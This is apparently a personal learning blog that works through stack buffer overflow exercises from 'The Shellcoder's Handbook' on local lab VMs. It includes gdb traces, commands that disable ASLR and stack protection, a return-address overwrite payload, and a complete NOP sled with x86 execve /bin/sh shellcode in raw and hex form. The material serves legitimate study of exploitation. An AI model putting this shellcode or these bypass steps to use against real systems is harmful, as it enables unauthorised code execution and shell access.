Thursday, April 16, 2009

Debian 2.4 Kernel VMWare image ready!

I've created a Debian 3.1 (Sarge) VMWare image, featuring the delightfully insecure 2.4 Linux kernel, after several hours of piecing together the Debian jigdo distribution. It's available here.

Wednesday, April 15, 2009

Illustrating the NOP sled, page 34

Happily, nopattack.c works like a champ. The immediate problem with attack.c was that I was never getting down to the final system("/bin/bash") call in main(), so I was never going to guess ESP correctly. No such problems plague nopattack.c, though.

The only mild criticism I have at this point is that the eventual value of the environment variable, $BUF, is never really spelled out in the text. So, this is what it looks like (interpreted through irb):
irb(main):005:0> buf = %x['set'].split(/\n/)[1]
=> "BUF='\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\353\032^1\300\210F\a\215\036\211^\b\211F\f\260\v\211\363\215N\b\215V\f\315\200\350\341\377\377\377/bin/sh\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377\277\254\363\377'"
irb(main):006:0> buf[5,10240].unpack("H*").first.scan(/../).join(' ')
=> "90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 eb 1a 5e 31 c0 88 46 07 8d 1e 89 5e 08 89 46 0c b0 0b 89 f3 8d 4e 08 8d 56 0c cd 80 e8 e1 ff ff ff 2f 62 69 6e 2f 73 68 ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff bf ac f3 ff 27"
That's a mighty fine NOP sled.

Tuesday, April 14, 2009

Cheaters! Page 32

Well, even after all that, couldn't get myself a root shell. Couple things to note:

attack.c doesn't actually run correctly for me -- I get a segfault on run in the neighborhood of line 34. Since my C skills are atrocious, I just rewrote the thing in ruby to do what I think it's supposed to do. However, even with this work-around, I can't trigger the vulnerability in victim.c beyond a segfault. But apparently, that's okay, neither could the authors, since they admit that they "cheated a little bit, to be honest," on page 32, using a different exploit with a different return address.

On to NOPs!

Avoiding ASLR, Page 28

So, I'm trying to get the local DVD ISO's of Debian 3.1r4, and it's going to take at least all day to download. The archival ISOs are only in jigdo format, which means you have to download all the individual debs -- I'm unable to find any ISOs Debian 3.1 (Sarge) of any revision.

I briefly toyed with an old Fedora Core 4 VMWare image from the VMWare Appliance store, but it's useless since it didn't ship with a compiler (no gcc or cc at all! Useless!). So, never mind on all that.

I suppose it's for the best. If ASLR is the state of the art today, I guess I may as well just read through the old way of doing things on Linux, and not worry too much about replicating the results of exploiting with static stack layouts.

But not so fast! I little bit more Googling turned up the correct sysctl options. Thanks to Smash the Stack, I found this, and it works like a champ:
todb@mazikeen:~/dev/sc$ sudo /sbin/sysctl -w kernel.randomize_va_space=0
kernel.randomize_va_space = 0
todb@mazikeen:~/dev/sc$ gcc find_start.c -o find_start
todb@mazikeen:~/dev/sc$ ./find_start
Found start: 0xbffff344
todb@mazikeen:~/dev/sc$ ./find_start
Found start: 0xbffff344
Huzzah! So, back to page 28.
By the way, here's the jigdo command line, if you'd like to give building Sarge a whirl:
jigdo-lite http://cdimage.debian.org/cdimage/archive/3.1_r4/i386/jigdo-dvd/debian-31r4-i386-binary-1.jigdo

jigdo-lite http://cdimage.debian.org/cdimage/archive/3.1_r4/i386/jigdo-dvd/debian-31r4-i386-binary-2.jigdo
That bad boy is still churning away.

Monday, April 13, 2009

Chapter 2, "Overflowing Buffers on the Stack," page 28

Welp, it looks like it's the end of the line for my stock Ubuntu kernel -- it's clear that Ubuntu 8.10 is using ASLR (Address Space Layout Randomization), as described later in Chapter 14, on page 396.

Now, I did mess with find_start.c a little to match up where the stack actually starts with what's reported in /proc/<pid>/maps. Here's that -- and this looks like it might be marginally useful in actual exploitation:
#include 
// find_start.c
unsigned int find_start(void)
{
__asm__("movl %esp, %eax");
}

int main()
{
printf("Found start: 0x%x\n",find_start());
printf("*********************************\n");
char path[80];
sprintf(path, "/proc/%d/maps",getpid());
printf("Snarfing %s\n",path);
char *cmd[3];
cmd[0] = "/bin/cat";
cmd[1] = path;
cmd[2] = 0x0;
execv(cmd[0],cmd);
}
Excuse my ghetto C, but this allows me to see output like:
todb@mazikeen:~/dev/sc$ ./find_start 
Found start: 0xbfb17e7c
*********************************
Snarfing /proc/4264/maps
[... memory map here...]
bfb05000-bfb1a000 rw-p bffeb000 00:00 0 [stack]
todb@mazikeen:~/dev/sc$

Running this a few times elicits different results for both the found start value, and the start and end of the stack. Too bad I'm way too stupid to work through how to fix this up with my usual running kernel -- I will have to procure or compile a new kernel without ASLR to make any more headway with this example exploit. I guess I'll get back to it later.

One great pointer here though is that this author states he's "running on Debian 3.1r4," so it would probably be a good idea to create a VM with that distro for the rest of the exercises. It'll still be interesting to note where certain attacks succeed on this (multiyear out of date) build versus the new Linux hotness. this link (specifically the gnome.org version) may work for our purposes.

Chapter 2, "Overflowing Buffers on the Stack," page 27

Compiling the supplied shellcode.c seems to work, but it doesn't with the indicated command line.
todb@mazikeen:~/dev/sc$ gcc shellcode.c -o shellcode
todb@mazikeen:~/dev/sc$ ./shellcode
todb@mazikeen:~/dev/sc$ echo $SHELL
/bin/bash
todb@mazikeen:~/dev/sc$

Compiling with the preferred stack boundary set will make the supplied shellcode usable:
todb@mazikeen:~/dev/sc$ gcc -mpreferred-stack-boundary=2 shellcode.c -o shellcode
todb@mazikeen:~/dev/sc$ ./shellcode
$ echo $SHELL

Note, in the first place, all we did was return -- we weren't in a new spawned shell at all (or else we would see the bare sh prompt instead of my decorated bash prompt).

This post talks a little about what preferred-stack-boundary actually does (he quotes, apparently, from here); since this is shellcode, I assume the default boundary of 4 is causing the opcodes to get misaligned when it's left off of the gcc command line.

Thursday, April 9, 2009

Chapter 2, Example 2-3, "Overflowing Buffers on the Stack," page 23

So, first off, I've downloaded the real code examples from Wiley, here. From here on in, I'll be using their code, rather than retyping it myself like a dunderhead.

Second, I wasn't getting my exploit to work exactly as expected. Turns out, I have an extra 4 bytes at the end of my array[30] buffer that I have to get through. This became obvious when I looked at the dump:
(gdb) disassemble return_input 
Dump of assembler code for function return_input:
0x080483f4 : push %ebp
0x080483f5 : mov %esp,%ebp
0x080483f7 : sub $0x24,%esp
0x080483fa : lea -0x1e(%ebp),%eax
0x080483fd : mov %eax,(%esp)
0x08048400 : call 0x8048308
0x08048405 : lea -0x1e(%ebp),%eax
0x08048408 : mov %eax,(%esp)
0x0804840b : call 0x8048328
0x08048410 : leave
0x08048411 : ret
End of assembler dump.
(gdb) break *0x08048400
Breakpoint 1 at 0x8048400: file overflow.c, line 4.
(gdb) break *0x08048411
Breakpoint 2 at 0x8048411: file overflow.c, line 6.
(gdb) run
Starting program: /home/todb/dev/sc/overflow

Breakpoint 1, 0x08048400 in return_input () at overflow.c:4
4 gets (array);
(gdb) disas main
Dump of assembler code for function main:
0x08048412 : push %ebp
0x08048413 : mov %esp,%ebp
0x08048415 : call 0x80483f4
0x0804841a : mov $0x0,%eax
0x0804841f : pop %ebp
0x08048420 : ret
End of assembler dump.
(gdb) x/20x $esp
0xbfc7b80c: 0xbfc7b812 0xb7f46ff4 0x08049ff4 0xbfc7b838
0xbfc7b81c: 0x08048459 0xb7f6ff50 0x08048340 0x0804844b
0xbfc7b82c: 0xb7f46ff4 0xbfc7b838 0x0804841a 0xbfc7b898
0xbfc7b83c: 0xb7e03685 0x00000001 0xbfc7b8c4 0xbfc7b8cc
0xbfc7b84c: 0xb7f61b38 0x00000001 0x00000001 0x00000000
(gdb) continue
Continuing.
111111111122222222223333333333ABCDEFGH
111111111122222222223333333333ABCDEFGH

Breakpoint 2, 0x08048411 in return_input () at overflow.c:6
6 }
(gdb) x/20x 0xbfc7b80c
0xbfc7b80c: 0xbfc7b812 0x31316ff4 0x31313131 0x31313131
0xbfc7b81c: 0x32323232 0x32323232 0x33333232 0x33333333
0xbfc7b82c: 0x33333333 0x44434241 0x48474645 0xbfc7b800
0xbfc7b83c: 0xb7e03685 0x00000001 0xbfc7b8c4 0xbfc7b8cc
0xbfc7b84c: 0xb7f61b38 0x00000001 0x00000001 0x00000000
It took a teeny bit of experimentation, but now I can see that my old return address, 0x0804841a, is overwritten with 0x48474645, which is little-endian hex for "EFGH" -- my "ABCD" ends up elswhere. I'm not sure from whence this extra space comes from, but my array[30] still seems safe up up to three bytes past the end:
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890A" | ./overflow
123456789012345678901234567890A
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AA" | ./overflow
123456789012345678901234567890AA
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAA" | ./overflow
123456789012345678901234567890AAA
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAAA" | ./overflow
123456789012345678901234567890AAAA
Segmentation fault (core dumped)
At any rate, the exploit works just fine with the extra padding:
todb@mazikeen:~/dev/sc$ printf "123456789012345678901234567890AAAA\x15\x84\x04\x08" | ./overflow
123456789012345678901234567890AAAA�
123456789012345678901234567890AAAA�
Oh, and I should mention this somewhere explicit, that I'm using Ubuntu 8.10, stock everything for the purposes of Shellcoder's (I have some custom pcap stuff, but nothing that should affect these exercises).

Oh2, hugely useful is gdb's text UI. Type Ctrl-X, Ctrl-A to get a view into the source code and where you're at when you hit your breakpoints, and "layout regs" to read your registers directly. Ctrl-X Ctrl-A to get back to regular console mode.

Wednesday, April 8, 2009

Chapter 2, Example 2-3, "Overflowing Buffers on the Stack," page 19

If you are running a 2.6.x Linux kernel (like me), you will need to compile code with -fno-stack-protector:
todb@mazikeen:~/dev/sc$ gcc -mpreferred-stack-boundary=2 -fno-stack-protector -ggdb 2-3.c -o overflow

Otherwise, your buffer overflow will produce totally different (and usually very useful, but maybe not in this case) results:
todb@mazikeen:~/dev/sc$ ./overflow 
AAAAAAAAAAB
AAAAAAAAAAB
*** stack smashing detected ***: ./overflow terminated
======= Backtrace: =========
/lib/libc.so.6(__fortify_fail+0x4b)[0xb7ed005b]
/lib/libc.so.6(__fortify_fail+0x0)[0xb7ed0010]
./overflow[0x804842c]
./overflow[0x8048436]
/lib/libc.so.6(__libc_start_main+0xe5)[0xb7e03685]
./overflow[0x8048391]
======= Memory map: ========
08048000-08049000 r-xp 00000000 08:01 168557 /home/todb/dev/sc/overflow
08049000-0804a000 rw-p 00000000 08:01 168557 /home/todb/dev/sc/overflow
0804a000-0806b000 rw-p 0804a000 00:00 0 [heap]
b7dec000-b7ded000 rw-p b7dec000 00:00 0
b7ded000-b7f2a000 r-xp 00000000 08:01 13388391 /lib/libc-2.8.90.so
b7f2a000-b7f2c000 r--p 0013d000 08:01 13388391 /lib/libc-2.8.90.so
b7f2c000-b7f2d000 rw-p 0013f000 08:01 13388391 /lib/libc-2.8.90.so
b7f2d000-b7f30000 rw-p b7f2d000 00:00 0
b7f33000-b7f40000 r-xp 00000000 08:01 13385851 /lib/libgcc_s.so.1
b7f40000-b7f41000 r--p 0000c000 08:01 13385851 /lib/libgcc_s.so.1
b7f41000-b7f42000 rw-p 0000d000 08:01 13385851 /lib/libgcc_s.so.1
b7f42000-b7f45000 rw-p b7f42000 00:00 0
b7f45000-b7f5f000 r-xp 00000000 08:01 13385969 /lib/ld-2.8.90.so
b7f5f000-b7f60000 r-xp b7f5f000 00:00 0 [vdso]
b7f60000-b7f61000 r--p 0001a000 08:01 13385969 /lib/ld-2.8.90.so
b7f61000-b7f62000 rw-p 0001b000 08:01 13385969 /lib/ld-2.8.90.so
bf866000-bf87b000 rw-p bffeb000 00:00 0 [stack]
Aborted (core dumped)

With -fno-stack-protection, the output looks a lot more like the book's:
todb@mazikeen:~/dev/sc$ ./overflow 
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
AAAAAAAABBBBBBBBCCCCCCCCDDDDDDDD
Segmentation fault (core dumped)

By disabling Linux (Debian's / Ubuntu's) stack protection, the gdb output looks a lot closer to what the book describes, as well.